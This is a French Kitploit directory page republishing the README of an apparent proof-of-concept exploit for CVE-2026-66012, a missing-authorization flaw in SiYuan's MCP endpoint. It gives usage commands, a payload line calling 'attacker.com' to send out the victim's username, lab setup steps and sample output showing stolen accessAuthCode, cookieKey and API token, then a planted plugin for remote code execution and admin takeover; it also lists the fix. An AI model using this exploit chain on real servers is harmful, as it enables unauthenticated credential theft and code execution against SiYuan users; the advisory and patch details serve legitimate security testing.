Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
siyuan-mcp-admin-takeover-cve-2026-66012-missing-authorization — Exploit non authentifié de prise de contrôle d'administrateur pour CVE-2026-66012, utilisant l'absence d'autorisation de MCP pour exfiltrer des identifiants et obtenir une exécution de code à distance. | Kitploit
Outils/GitHubGitHub/hunt-benito/siyuan-mcp-admin-takeover-cve-2026-66012-missing-authorization
Authentification et AutorisationEscalade de PrivilègesAnalyse des VulnérabilitésExploitationExploitation d'Applications WebTests d'IntrusionRed TeamingDéveloppement de Charges Utiles

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
GitHub
hunt-benito/siyuan-mcp-admin-takeover-cve-2026-66012-missing-authorization

siyuan-mcp-admin-takeover-cve-2026-66012-missing-authorization

Exploit non authentifié de prise de contrôle d'administrateur pour CVE-2026-66012, utilisant l'absence d'autorisation de MCP pour exfiltrer des identifiants et obtenir une exécution de code à distance.

Voir le dépôt
1il y a 25 joursPas encore vérifié
Partager

CVE-2026-66012 — Prise de contrôle administrateur non authentifiée de SiYuan MCP

Preuve de concept pour CVE-2026-66012 (CVSS 10.0 Critique), une vulnérabilité d'absence d'autorisation dans le point de terminaison MCP (Model Context Protocol) de SiYuan qui permet à un attaquant non authentifié de prendre le contrôle de l'administrateur et d'exécuter du code à distance lorsque le serveur Publish est activé en mode anonyme.

Résumé de la vulnérabilité

ChampValeur
CVECVE-2026-66012
CVSS 3.110.0 Critique
CWECWE-862 — Absence d'autorisation
Version affectéeSiYuan < v3.7.2
Version corrigéev3.7.2 (commit df51c2bda696)
SignaleurNguyen Van Hiep (@hypnguyen1209), MBBank

Cause racine

Trois défauts composent la chaîne d'attaque :

  1. POST /mcp est enregistré avec model.CheckAuth uniquement — pas de CheckAdminRole ni CheckReadonly. Tout JWT valide (y compris avec le rôle Reader) peut invoquer les 31 outils MCP.
  2. Le répartiteur d'outils (handler.go) appelle les outils sans vérifier le rôle de l'appelant.
  3. Le proxy inverse Publish injecte un JWT anonyme RoleReader dans chaque requête lorsque Publish.Auth.Enable=false, transformant le bug d'absence d'autorisation en une vulnérabilité non authentifiée.

Chaîne d'attaque

  1. Poignée de main MCP via POST /mcp sur le port Publish (sans identifiants)
  2. Lecture de conf/conf.json → extraction de accessAuthCode, api.token, cookieKey
  3. Installation d'un plugin dans data/plugins/pwn/ → RCE au prochain lancement du bureau via nodeIntegration:true
  4. Connexion administrateur sur le port 6806 en utilisant le accessAuthCode volé

Prérequis

  • Python 3.8+
  • Bibliothèque requests (pip install requests)
  • Docker 20.10+ (uniquement pour la configuration du laboratoire)

Utilisation

root@kitploit:~
# Exploit complet (exfiltration d'identifiants + installation de plugin + élévation admin)
python3 exploit.py http://TARGET:6808

# Payload personnalisé pour le plugin installé
python3 exploit.py http://TARGET:6808 "curl http://attacker.com/$(whoami)"

# Exfiltration d'identifiants uniquement (sans installation de plugin)
python3 exploit.py http://TARGET:6808 --no-plugin

Configuration du laboratoire

Pour les tests autorisés uniquement. Installez localement une instance vulnérable :

root@kitploit:~
# Créer l'espace de travail
LAB_ROOT=/tmp/siyuan-lab
rm -rf "$LAB_ROOT" && mkdir -p "$LAB_ROOT/workspace"
chmod 777 "$LAB_ROOT" "$LAB_ROOT/workspace"

# Démarrer SiYuan v3.7.1 vulnérable
docker run -d --name siyuan-lab \
  -p 127.0.0.1:6806:6806 -p 127.0.0.1:6808:6808 \
  -v "$LAB_ROOT/workspace":/siyuan/workspace \
  -e "SIYUAN_ACCESS_AUTH_CODE=labpass-9f4c1a" \
  -e "PUID=1000" -e "PGID=1000" \
  b3log/siyuan:v3.7.1 \
  serve --accessAuthCode=labpass-9f4c1a --lang=en_US

sleep 6

# Activer le serveur Publish en mode anonyme
API_TOKEN=$(docker exec siyuan-lab sh -c \
  'sed -n "s/.*\"token\": *\"\([^\"]*\)\".*/\1/p" /siyuan/workspace/conf/conf.json | head -1')

curl -sS -X POST http://127.0.0.1:6806/api/setting/setPublish \
  -H "Authorization: Token $API_TOKEN" \
  -H 'Content-Type: application/json' \
  -d '{"enable":true,"port":6808,"auth":{"enable":false,"accounts":[]}}'

# Exécuter l'exploit
python3 exploit.py http://127.0.0.1:6808 "id"

Sortie attendue

root@kitploit:~
=================================================================
CVE-2026-66012 — SiYuan MCP Admin Takeover
Target: http://127.0.0.1:6808
=================================================================

[*] Starting MCP handshake...
[+] Session established: 1atnx3vlzoccx89n

[*] Reading conf/conf.json via MCP file tool...
[+] Exfiltrated credentials:
    accessAuthCode: labpass-9f4c1a
    cookieKey: zhia862a5vfvraau
    api_token: nsnt2m0n4lwv2a43

[*] Planting plugin with payload: id
[+] Plugin planted at data/plugins/pwn/
    Payload executes on next desktop launch

[*] Attempting admin login at http://127.0.0.1:6806...
[+] Administrator session established
    Token: lqfhx...

=================================================================
Exploit complete.
Plugin will execute 'id' on next desktop launch.
For authorized testing only.
=================================================================

Correctif

Mettez à jour vers SiYuan v3.7.2 ou version ultérieure. Le correctif (commit df51c2bda696) applique :

  1. Middleware CheckAdminRole + CheckReadonly sur la route /mcp
  2. Blocage explicite de l'accès à conf/conf.json dans l'outil fichier
  3. Liste blanche des chemins du proxy Publish (les chemins admin renvoient 401 pour les utilisateurs anonymes)

Références

  • GHSA-cvhv-7xhj-xjp8
  • NVD CVE-2026-66012
  • Fix commit df51c2bd
  • VulnCheck Advisory

Clause de non-responsabilité

Cette PoC est destinée aux tests de sécurité autorisés et à des fins éducatives uniquement. Toute utilisation non autorisée contre des systèmes que vous ne possédez pas ou pour lesquels vous n'avez pas d'autorisation explicite de test est illégale. Les auteurs ne sont pas responsables de tout usage abusif de ce code.

Télécharger l’outil